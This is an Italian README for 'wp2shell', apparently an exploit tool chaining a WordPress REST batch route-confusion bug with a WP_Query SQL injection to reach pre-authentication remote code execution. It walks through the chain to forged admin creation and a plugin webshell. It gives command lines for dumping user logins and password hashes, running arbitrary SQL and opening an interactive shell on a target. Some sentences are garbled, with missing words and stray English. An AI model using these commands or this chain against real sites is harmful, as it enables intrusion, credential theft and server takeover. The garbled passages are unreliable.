
Catena RCE proof-of-concept per CVE-2026-63030 e CVE-2026-60137
⚠ Questo strumento è creato esclusivamente per scopi educativi o di bug bounty. L'uso non autorizzato al di fuori di ambienti controllati è severamente vietato.
Prova di concetto per la catena di vulnerabilità wp2shell che colpisce WordPress Core, combinando CVE-2026-63030 e CVE-2026-60137. Il progetto dimostra l'interazione tra la vulnerabilità di route confusion nell'endpoint Batch dell'API REST e un'iniezione SQL in WP_Query, che porta a un percorso non autenticato verso il pieno compromesso di WordPress e l'esecuzione remota di codice (RCE).
Leggi l'advisory completo qui
wp2shell è una catena RCE pre-autenticazione nel core di WordPress, che combina CVE-2026-63030 (route confusion nell'endpoint REST batch) e CVE-2026-60137 (iniezione SQL in WP_Query).
La route confusion: /wp-json/batch/v1 elabora più sotto-richieste tramite array paralleli $matches e $validation indicizzati per posizione. Una sotto-richiesta con un percorso malformato (ad esempio http://:) viene aggiunta a $validation ma non a a causa di un'istruzione , desincronizzando gli array. Le richieste successive vengono smistate sotto l'handler previsto per la richiesta , bypassando la validazione dello schema e i controlli dei permessi.
$matchescontinueL'iniezione SQL: Due chiamate batch annidate sfruttano questo comportamento. La batch esterna bypassa la allow-list dei metodi (che normalmente blocca GET). La batch interna consegna una stringa scalare author_exclude a GET /wp/v2/posts: la desincronizzazione la instrada oltre la validazione, e WP_Query interpola la stringa non sanificata direttamente nell'SQL, producendo un'iniezione blind basata su UNION.
Avvelenamento della cache: L'SQLi restituisce oggetti WP_Post falsificati, che WordPress mette in cache in memoria. Questi post fittizi contengono shortcode [embed] che inducono WordPress a creare righe reali oembed_cache nel database a partire dai riferimenti falsificati.
Escalation tramite changeset: Usando l'SQLi, l'attaccante falsifica in memoria un post customize_changeset con "user_id": 1 nel suo JSON. Un gadget di rilevamento dei cicli attiva wp_update_post() senza sovrascrivere post_content, preservando il payload dell'attaccante. Applicando il changeset si assume temporaneamente l'identità dell'amministratore.
Re-entry tramite hook: Un post fabbricato con stato parse e tipo request attiva l'hook parse_request, riproducendo l'intera richiesta batch con il ruolo admin assunto. Questa volta, una sotto-richiesta POST /wp/v2/users ha successo, creando un nuovo account amministratore.
Esecuzione di codice: L'attaccante accede come admin appena creato e carica un plugin malevolo per eseguire comandi arbitrari.
| Versione | Stato |
|---|---|
| WordPress 6.9.0 – 6.9.4 | Vulnerabile |
| WordPress 7.0.0 – 7.0.1 | Vulnerabile |
| WordPress 6.9.5 | Risolta |
| WordPress 7.0.2+ | Risolta |
Per usare questo PoC, l'unico requisito è Python 3.8+.
Eseguilo dalla directory del repository per effettuare un controllo della vulnerabilità:
wp2shell.py http://victim.com
Esegue un singolo controllo della vulnerabilità. Invia una sonda benigna con marcatore batch che rileva il bug di route confusion senza eseguire payload SQLi. Un target vulnerabile restituisce HTTP 207 con il pattern di errore parse_path_failed, block_cannot_read e rest_batch_not_allowed.
Usa --confirm-sqli per inviare anche un payload attivo di conferma SQLi. La conferma tenta prima la riflessione UNION, poi ripiega su sonde basate sul timing.
Controllo di un singolo target (modalità predefinita)
wp2shell.py http://target.com
Controllo con modalità esplicita
Check with explicit mode
wp2shell.py http://target.com --check
Controllo con conferma SQLi
wp2shell.py http://target.com --check --confirm-sqli
Estrae dati dal database utilizzando l'iniezione SQL pre-autenticazione. Di default usa --technique auto, che prova i metodi disponibili in questo ordine:
WP_Post tramite UNION e rilegge il suo titolo dalla risposta REST come ||HEX(value)||. Una richiesta per valore. Il più veloce.EXTRACTVALUE/UPDATEXML per divulgare ~15 byte per richiesta. Funziona quando il target riflette gli errori MySQL (ad es. WP_DEBUG_DISPLAY attivo).X-WP-Total come segnale vero/falso. Funziona anche quando nessun dato viene riflesso.Forza una tecnica specifica con --technique union|error|blind. Questi percorsi di lettura sono in sola lettura e non scrivono nel database.
Impronta del server (query predefinita)
wp2shell.py http://target.com --read
Estrai login e hash delle password
wp2shell.py http://target.com --read --preset users
Query SQL personalizzata
wp2shell.py http://target.com --read --query "SELECT @@version"
Forza la tecnica blind
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
Estrai con la tecnica basata sugli errori
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
Esegue comandi sul server di destinazione. Funziona in due modalità:
Con credenziali (accede come admin esistente e carica la shell del plugin):
Esegui un comando specifico
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
Shell interattiva
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Without credentials (pre-auth RCE - runs the full SQLi→admin bridge, logs in as generated admin, then uploads plugin shell):
Esegui un singolo comando
wp2shell.py http://target.com --shell --cmd id
Shell interattiva
wp2shell.py http://target.com --shell --interactive
La webshell del plugin viene caricata con un percorso casuale e un token per esecuzione. La webshell caricata viene rimossa automaticamente. Quando il bridge pre-auth crea un amministratore, l'account generato viene rimosso automaticamente al termine della sessione di shell.
Elenco di tutti i flag:
| Flag | Descrizione |
|---|---|
--check | Esegue il controllo della vulnerabilità (modalità predefinita se nessun'altra modalità è specificata) |
--read | Estrae dati tramite iniezione SQL |
--shell | Esegue comandi sul server |
--query | Query SQL personalizzata per la modalità di lettura |
--preset | Preset di query predefinito (users, config, versions) |
--technique | Tecnica di estrazione SQLi: union, error, blind o auto (predefinita) |
--confirm-sqli | Invia il payload di conferma SQLi dopo il check |
--cmd | Comando da eseguire in modalità shell (predefinito: id) |
--interactive, -i | Modalità shell interattiva |
--user | Nome utente admin per la shell autenticata |
--password | Password admin per la shell autenticata |
--proxy | Proxy HTTP/HTTPS (es. http://127.0.0.1:8080) |
--timeout | Timeout delle richieste in secondi (predefinito: 30) |
--verbose, -v | Output verboso |
Questo strumento è creato esclusivamente per scopi educativi o di bug bounty. L'uso non autorizzato al di fuori di ambienti controllati è severamente vietato.